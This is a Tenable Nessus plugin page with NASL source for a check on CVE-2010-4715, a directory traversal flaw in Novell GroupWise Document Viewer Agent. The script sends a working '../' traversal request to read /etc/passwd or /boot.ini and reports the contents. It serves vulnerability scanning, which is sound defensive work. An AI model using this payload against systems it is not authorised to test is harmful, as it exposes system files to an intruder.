Lucene search

K
nessusThis script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.GROUPWISE_DVA_ARBITRARY_FILE_DOWNLOAD.NASL
HistoryNov 23, 2010 - 12:00 a.m.

Novell GroupWise Document Viewer Agent Arbitrary File Download

2010-11-2300:00:00
This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
10

0.019 Low

EPSS

Percentile

88.6%

The installed version of GroupWise Document Viewer agent fails to perform sufficient validation on a user specified file name supplied to ‘filename’ parameter before returning the contents of the file.

By supplying directory traversal strings such as ‘…/’ in a specially crafted ‘GET’ request, it may be possible for a remote, unauthenticated attacker to read arbitrary files from the remote system.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(50690);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2010-4715");
  script_bugtraq_id(44732);
  script_xref(name:"Secunia", value:"40820");

  script_name(english:"Novell GroupWise Document Viewer Agent Arbitrary File Download");
  script_summary(english:"Tries to read a local file");

  script_set_attribute(attribute:"synopsis", value:"The remote web server is susceptible to a directory traversal attack.");
  script_set_attribute(
    attribute:"description",value:
"The installed version of GroupWise Document Viewer agent fails to
perform sufficient validation on a user specified file name supplied
to 'filename' parameter before returning the contents of the file.

By supplying directory traversal strings such as '../' in a specially
crafted 'GET' request, it may be possible for a remote, unauthenticated
attacker to read arbitrary files from the remote system.");
  script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7007156");
  script_set_attribute(attribute:"solution", value:"Apply the 8.02 Hot Patch 1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Novell GroupWise 8 WebAccess File Disclosure");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/11/04");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/11/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/11/23");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("groupwise_dva_accessible.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 7440, 7439);
  script_require_keys("www/groupwise-dva");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:7440, embedded:TRUE);
install = get_install_from_kb(appname:'groupwise-dva', port:port, exit_on_fail:TRUE);

# Try to retrieve a local file.
os = get_kb_item("Host/OS");
if (os)
{
  if ("Windows" >< os) file = '/boot.ini';
  else file = '/etc/passwd';
  files = make_list(file);
}
else files = make_list('/etc/passwd', '/boot.ini');

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/boot.ini'] = "\[boot loader\]";

foreach file (files)
{
  url = install["dir"] + "/log?filename=" +
    crap(data:"../", length:3*8) + '..' +
    file ;

  res = http_send_recv3(method:"GET", item:url, port:port,exit_on_fail:TRUE);

  if(res[0] =~ '^HTTP/1\\.[01] +401 ')
    exit (1, "Authentication is required to access the remote web server on port "+ port +".");

  if (res[2] && egrep(pattern:file_pats[file], string:res[2]))
  {
    if (report_verbosity > 0)
    {
      report = get_vuln_report(items:url, port:port);

      if (report_verbosity > 1)
      {
        res[2] = data_protection::redact_etc_passwd(output:res[2]);
        report += '\n' +
          "Here are the contents : " + '\n\n' +
          crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
          res[2] + '\n' +
          crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n' ;
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port:port);
    exit(0);
  }
}
exit(0,"The GroupWise Document Viewer Agent listening on port "+ port + " is not affected.");

0.019 Low

EPSS

Percentile

88.6%

Related for GROUPWISE_DVA_ARBITRARY_FILE_DOWNLOAD.NASL